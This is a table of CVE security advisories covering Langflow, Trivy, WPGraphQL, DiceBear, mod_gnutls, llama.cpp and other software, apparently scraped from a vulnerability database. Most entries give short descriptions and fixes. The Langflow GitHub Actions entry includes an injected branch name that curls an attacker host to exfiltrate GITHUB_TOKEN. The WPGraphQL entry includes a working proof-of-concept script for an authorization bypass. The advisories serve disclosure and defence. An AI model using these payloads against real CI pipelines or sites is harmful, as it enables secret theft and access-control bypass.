| CVE |
Vendors |
Products |
Updated |
CVSS v3.1 |
| Out-of-bounds Write vulnerability in WujekFoliarz DualSenseY-v2.This issue affects DualSenseY-v2: before 54. |
| Improper Restriction of Operations within the Bounds of a Memory Buffer vulnerability in linkingvision rapidvms.This issue affects rapidvms: before PR#96. |
| Improper Restriction of Operations within the Bounds of a Memory Buffer vulnerability in linkingvision rapidvms.This issue affects rapidvms: before PR#96. |
| Trivy is a security scanner. On March 19, 2026, a threat actor used compromised credentials to publish a malicious Trivy v0.69.4 release, force-push 76 of 77 version tags in `aquasecurity/trivy-action` to credential-stealing malware, and replace all 7 tags in `aquasecurity/setup-trivy` with malicious commits. This incident is a continuation of the supply chain attack that began in late February 2026. Following the initial disclosure on March 1, credential rotation was performed but was not atomic (not all credentials were revoked simultaneously). The attacker could have use a valid token to exfiltrate newly rotated secrets during the rotation window (which lasted a few days). This could have allowed the attacker to retain access and execute the March 19 attack. Affected components include the `aquasecurity/trivy` Go / Container image version 0.69.4, the `aquasecurity/trivy-action` GitHub Action versions 0.0.1 – 0.34.2 (76/77), and the`aquasecurity/setup-trivy` GitHub Action versions 0.2.0 – 0.2.6, prior to the recreation of 0.2.6 with a safe commit. Known safe versions include versions 0.69.2 and 0.69.3 of the Trivy binary, version 0.35.0 of trivy-action, and version 0.2.6 of setup-trivy. Additionally, take other mitigations to ensure the safety of secrets. If there is any possibility that a compromised version ran in one's environment, all secrets accessible to affected pipelines must be treated as exposed and rotated immediately. Check whether one's organization pulled or executed Trivy v0.69.4 from any source. Remove any affected artifacts immediately. Review all workflows using `aquasecurity/trivy-action` or `aquasecurity/setup-trivy`. Those who referenced a version tag rather than a full commit SHA should check workflow run logs from March 19–20, 2026 for signs of compromise. Look for repositories named `tpcp-docs` in one's GitHub organization. The presence of such a repository may indicate that the fallback exfiltration mechanism was triggered and secrets were successfully stolen. Pin GitHub Actions to full, immutable commit SHA hashes, don't use mutable version tags. |
| ipmi-oem in FreeIPMI before 1.16.17 has exploitable buffer overflows on response messages. The Intelligent Platform Management Interface (IPMI) specification defines a set of interfaces for platform management. It is implemented by a large number of hardware manufacturers to support system management. It is most commonly used for sensor reading (e.g., CPU temperatures through the ipmi-sensors command within FreeIPMI) and remote power control (the ipmipower command). The ipmi-oem client command implements a set of a IPMI OEM commands for specific hardware vendors. If a user has supported hardware, they may wish to use the ipmi-oem command to send a request to a server to retrieve specific information. Three subcommands were found to have exploitable buffer overflows on response messages. They are: "ipmi-oem dell get-last-post-code - get the last POST code and string describing the error on some Dell servers," "ipmi-oem supermicro extra-firmware-info - get extra firmware info on Supermicro servers," and "ipmi-oem wistron read-proprietary-string - read a proprietary string on Wistron servers." |
| Langflow is a tool for building and deploying AI-powered agents and workflows. Prior to version 1.7.1, in the download_profile_picture function of the /profile_pictures/{folder_name}/{file_name} endpoint, the folder_name and file_name parameters are not strictly filtered, which allows the secret_key to be read across directories. Version 1.7.1 contains a patch. |
| Langflow is a tool for building and deploying AI-powered agents and workflows. In versions 1.0.0 through 1.8.1, the `/api/v1/files/images/{flow_id}/{file_name}` endpoint serves image files without any authentication or ownership check. Any unauthenticated request with a known flow_id and file_name returns the image with HTTP 200. In a multi-tenant deployment, any attacker who can discover or guess a `flow_id` (UUIDs can be leaked through other API responses) can download any user's uploaded images without credentials. Version 1.9.0 contains a patch. |
| Langflow is a tool for building and deploying AI-powered agents and workflows. An unauthenticated remote shell injection vulnerability exists in multiple GitHub Actions workflows in the Langflow repository prior to version 1.9.0. Unsanitized interpolation of GitHub context variables (e.g., `${{ github.head_ref }}`) in `run:` steps allows attackers to inject and execute arbitrary shell commands via a malicious branch name or pull request title. This can lead to secret exfiltration (e.g., `GITHUB_TOKEN`), infrastructure manipulation, or supply chain compromise during CI/CD execution. Version 1.9.0 patches the vulnerability.
---
### Details
Several workflows in `.github/workflows/` and `.github/actions/` reference GitHub context variables directly in `run:` shell commands, such as:
```yaml
run: |
validate_branch_name "${{ github.event.pull_request.head.ref }}"
```
Or:
```yaml
run: npx playwright install ${{ inputs.browsers }} --with-deps
```
Since `github.head_ref`, `github.event.pull_request.title`, and custom `inputs.*` may contain **user-controlled values**, they must be treated as **untrusted input**. Direct interpolation without proper quoting or sanitization leads to shell command injection.
---
### PoC
1. **Fork** the Langflow repository
2. **Create a new branch** with the name:
```bash
injection-test && curl https://attacker.site/exfil?token=$GITHUB_TOKEN
```
3. **Open a Pull Request** to the main branch from the new branch
4. GitHub Actions will run the affected workflow (e.g., `deploy-docs-draft.yml`)
5. The `run:` step containing:
```yaml
echo "Branch: ${{ github.head_ref }}"
```
Will execute:
```bash
echo "Branch: injection-test"
curl https://attacker.site/exfil?token=$GITHUB_TOKEN
```
6. The attacker receives the CI secret via the exfil URL.
---
### Impact
- **Type:** Shell Injection / Remote Code Execution in CI
- **Scope:** Any public Langflow fork with GitHub Actions enabled
- **Impact:** Full access to CI secrets (e.g., `GITHUB_TOKEN`), possibility to push malicious tags or images, tamper with releases, or leak sensitive infrastructure data
---
### Suggested Fix
Refactor affected workflows to **use environment variables** and wrap them in **double quotes**:
```yaml
env:
BRANCH_NAME: ${{ github.head_ref }}
run: |
echo "Branch is: \"$BRANCH_NAME\""
```
Avoid direct `${{ ... }}` interpolation inside `run:` for any user-controlled value.
---
### Affected Files (Langflow `1.3.4`)
- `.github/actions/install-playwright/action.yml`
- `.github/workflows/deploy-docs-draft.yml`
- `.github/workflows/docker-build.yml`
- `.github/workflows/release_nightly.yml`
- `.github/workflows/python_test.yml`
- `.github/workflows/typescript_test.yml` |
| DiceBear is an avatar library for designers and developers. Prior to version 9.4.2, the `ensureSize()` function in `@dicebear/converter` used a regex-based approach to rewrite SVG `width`/`height` attributes, capping them at 2048px to prevent denial of service. This size capping could be bypassed by crafting SVG input that causes the regex to match a non-functional occurrence of `<svg` before the actual SVG root element. When the SVG is subsequently rendered via `@resvg/resvg-js` on the Node.js code path, it renders at the attacker-specified dimensions, potentially causing out-of-memory crashes. In version 9.4.2, the regex-based approach has been replaced with XML-aware processing using `fast-xml-parser` to correctly identify and modify the SVG root element's attributes. Additionally, a `fitTo` constraint has been added to the `renderAsync` call as defense-in-depth, ensuring the rendered output is always bounded regardless of SVG content. |
| Dasel is a command-line tool and library for querying, modifying, and transforming data structures. Starting in version 3.0.0 and prior to version 3.3.1, Dasel's YAML reader allows an attacker who can supply YAML for processing to trigger extreme CPU and memory consumption. The issue is in the library's own `UnmarshalYAML` implementation, which manually resolves alias nodes by recursively following `yaml.Node.Alias` pointers without any expansion budget, bypassing go-yaml v4's built-in alias expansion limit. Version 3.3.2 contains a patch for the issue. |
| DiceBear is an avatar library for designers and developers. Starting in version 5.0.0 and prior to versions 5.4.4, 6.1.4, 7.1.4, 8.0.3, and 9.4.1, SVG attribute values derived from user-supplied options (`backgroundColor`, `fontFamily`, `textColor`) were not XML-escaped before interpolation into SVG output. This could allow Cross-Site Scripting (XSS) when applications pass untrusted input to `createAvatar()` and serve the resulting SVG inline or with `Content-Type: image/svg+xml`. Starting in versions 5.4.4, 6.1.4, 7.1.4, 8.0.3, and 9.4.1, all affected SVG attribute values are properly escaped using XML entity encoding. Users should upgrade to the listed patched versions. Some mitigating factors limit vulnerability. Applications that validate input against the library's JSON Schema before passing it to `createAvatar()` are not affected. The DiceBear CLI validates input via AJV and was not vulnerable. Exploitation requires that an application passes untrusted, unvalidated external input directly as option values. |
| Intake is a package for finding, investigating, loading and disseminating data. Prior to version 2.0.9, the shell() syntax within parameter default values appears to be automatically expanded during the catalog parsing process. If a catalog contains a parameter default such as shell(<command>), the command may be executed when the catalog source is accessed. This means that if a user loads a malicious catalog YAML, embedded commands could execute on the host system. Version 2.0.9 mitigates the issue by making getshell False by default everywhere. |
| Langflow is a tool for building and deploying AI-powered agents and workflows. Versions 1.2.0 through 1.8.1 have a bypass of the patch for CVE-2025-68478 (External Control of File Name), leading to the root architectural issue within `LocalStorageService` remaining unresolved. Because the underlying storage layer lacks boundary containment checks, the system relies entirely on the HTTP-layer `ValidatedFileName` dependency. This defense-in-depth failure leaves the `POST /api/v2/files/` endpoint vulnerable to Arbitrary File Write. The multipart upload filename bypasses the path-parameter guard, allowing authenticated attackers to write files anywhere on the host system, leading to Remote Code Execution (RCE). Version 1.9.0 contains an updated fix. |
| Mod_gnutls is a TLS module for Apache HTTPD based on GnuTLS. Prior to version 0.13.0, code for client certificate verification did not check the key purpose as set in the Extended Key Usage extension. An attacker with access to the private key for a valid certificate issued by a CA trusted for TLS client authentication but designated for a different purpose could have used that certificate to improperly access resources requiring TLS client authentication. Server configurations that do not use client certificates (`GnuTLSClientVerify ignore`, the default) are not affected. The problem has been fixed in version 0.13.0 by rewriting certificate verification to use `gnutls_certificate_verify_peers()`, and requiring key purpose id-kp-clientAuth (also known as `tls_www_client` in GnuTLS) by default if the Extended Key Usage extension is present. The new `GnuTLSClientKeyPurpose` option allows overriding the expected key purpose if needed (please see the manual for details). Behavior for certificates without an Extended Key Usage extension is unchanged. If dedicated (sub-)CAs are used for issuing TLS client certificates only (not for any other purposes) the issue has no practical impact. |
| Mod_gnutls is a TLS module for Apache HTTPD based on GnuTLS. In versions prior to 0.12.3 and 0.13.0, code for client certificate verification imported the certificate chain sent by the client into a fixed size `gnutls_x509_crt_t x509[]` array without checking the number of certificates is less than or equal to the array size. `gnutls_x509_crt_t` is a `typedef` for a pointer to an opaque GnuTLS structure created using with `gnutls_x509_crt_init()` before importing certificate data into it, so no attacker-controlled data was written into the stack buffer, but writing a pointer after the last array element generally triggered a segfault, and could theoretically cause stack corruption otherwise (not observed in practice). Server configurations that do not use client certificates (`GnuTLSClientVerify ignore`, the default) are not affected. The problem has been fixed in version 0.12.3 by checking the length of the provided certificate chain and rejecting it if it exceeds the buffer length, and in version 0.13.0 by rewriting certificate verification to use `gnutls_certificate_verify_peers()`, removing the need for the buffer entirely. There is no workaround. Version 0.12.3 provides the minimal fix for users of 0.12.x who do not wish to upgrade to 0.13.0 yet. |
| bcrypt-ruby is a Ruby binding for the OpenBSD bcrypt() password hashing algorithm. Prior to version 3.1.22, an integer overflow in the Java BCrypt implementation for JRuby can cause zero iterations in the strengthening loop. Impacted applications must be setting the cost to 31 to see this happen. The JRuby implementation of bcrypt-ruby (`BCrypt.java`) computes the key-strengthening round count as a signed 32-bit integer. When `cost=31` (the maximum allowed by the gem), signed integer overflow causes the round count to become negative, and the strengthening loop executes **zero iterations**. This collapses bcrypt from 2^31 rounds of exponential key-strengthening to effectively constant-time computation — only the initial EksBlowfish key setup and final 64x encryption phase remain. The resulting hash looks valid (`$2a$31$...`) and verifies correctly via `checkpw`, making the weakness invisible to the application. This issue is triggered only when cost=31 is used or when verifying a `$2a$31$` hash. This problem has been fixed in version 3.1.22. As a workaround, set the cost to something less than 31. |
| llama.cpp is an inference of several LLM models in C/C++. Prior to b7824, an integer overflow vulnerability in the `ggml_nbytes` function allows an attacker to bypass memory validation by crafting a GGUF file with specific tensor dimensions. This causes `ggml_nbytes` to return a significantly smaller size than required (e.g., 4MB instead of Exabytes), leading to a heap-based buffer overflow when the application subsequently processes the tensor. This vulnerability allows potential Remote Code Execution (RCE) via memory corruption. b7824 contains a fix. |
| WPGraphQL provides a GraphQL API for WordPress sites. Prior to version 2.10.0, an authorization flaw in updateComment allows an authenticated low-privileged user (including a custom role with zero capabilities) to change moderation status of their own comment (for example to APPROVE) without the moderate_comments capability. This can bypass moderation workflows and let untrusted users self-approve content. Version 2.10.0 contains a patch.
### Details
In WPGraphQL 2.9.1 (tested), authorization for updateComment is owner-based, not field-based:
- plugins/wp-graphql/src/Mutation/CommentUpdate.php:92 allows moderators.
- plugins/wp-graphql/src/Mutation/CommentUpdate.php:99:99 also allows the comment owner, even if they lack moderation capability.
- plugins/wp-graphql/src/Data/CommentMutation.php:94:94 maps GraphQL input status directly to WordPress comment_approved.
- plugins/wp-graphql/src/Mutation/CommentUpdate.php:120:120 persists that value via wp_update_comment.
- plugins/wp-graphql/src/Type/Enum/CommentStatusEnum.php:22:22 exposes moderation states (APPROVE, HOLD, SPAM, TRASH).
This means a non-moderator owner can submit status during update and transition moderation state.
### PoC
Tested in local wp-env (Docker) with WPGraphQL 2.9.1.
1. Start environment:
npm install
npm run wp-env start
2. Run this PoC:
```
npm run wp-env run cli -- wp eval '
add_role("no_caps","No Caps",[]);
$user_id = username_exists("poc_nocaps");
if ( ! $user_id ) {
$user_id = wp_create_user("poc_nocaps","Passw0rd!","poc_nocaps@example.com");
}
$user = get_user_by("id",$user_id);
$user->set_role("no_caps");
$post_id = wp_insert_post([
"post_title" => "PoC post",
"post_status" => "publish",
"post_type" => "post",
"comment_status" => "open",
]);
$comment_id = wp_insert_comment([
"comment_post_ID" => $post_id,
"comment_content" => "pending comment",
"user_id" => $user_id,
"comment_author" => $user->display_name,
"comment_author_email" => $user->user_email,
"comment_approved" => "0",
]);
wp_set_current_user($user_id);
$result = graphql([
"query" => "mutation U(\$id:ID!){ updateComment(input:{id:\$id,status:APPROVE}){ success comment{ databaseId status } } }",
"variables" => [ "id" => (string)$comment_id ],
]);
echo wp_json_encode([
"role_caps" => array_keys(array_filter((array)$user->allcaps)),
"status" => $result["data"]["updateComment"]["comment"]["status"] ?? null,
"db_comment_approved" => get_comment($comment_id)->comment_approved ?? null,
"comment_id" => $comment_id
]);
'
```
3. Observe result:
- role_caps is empty (or no moderate_comments)
- mutation returns status: APPROVE
- DB value becomes comment_approved = 1
### Impact
This is an authorization bypass / broken access control issue in comment moderation state transitions. Any deployment using WPGraphQL comment mutations where low-privileged users can make comments is impacted. Moderation policy can be bypassed by self-approving content. |
| Graphiti is a framework that sits on top of models and exposes them via a JSON:API-compliant interface. Versions prior to 1.10.2 have an arbitrary method execution vulnerability that affects Graphiti's JSONAPI write functionality. An attacker can craft a malicious JSONAPI payload with arbitrary relationship names to invoke any public method on the underlying model instance, class or its associations. Any application exposing Graphiti write endpoints (create/update/delete) to untrusted users is affected. The `Graphiti::Util::ValidationResponse#all_valid?` method recursively calls `model.send(name)` using relationship names taken directly from user-supplied JSONAPI payloads, without validating them against the resource's configured sideloads. This allows an attacker to potentially run any public method on a given model instance, on the instance class or associated instances or classes, including destructive operations. This is patched in Graphiti v1.10.2. Users should upgrade as soon as possible. Some workarounds are available. Ensure Graphiti write endpoints (create/update) are not accessible to untrusted users and/or apply strong authentication and authorization checks before any write operation is processed, for example use Rails strong parameters to ensure only valid parameters are processed. |
| Ella Core is a 5G core designed for private networks. Versions prior to 1.6.0 panic when processing NGAP messages with invalid PDU Session IDs outside of 1-15. An attacker able to send crafted NGAP messages to Ella Core can crash the process, causing service disruption for all connected subscribers. No authentication is required. Version 1.6.0 added PDU Session ID validations during NGAP message handling. |
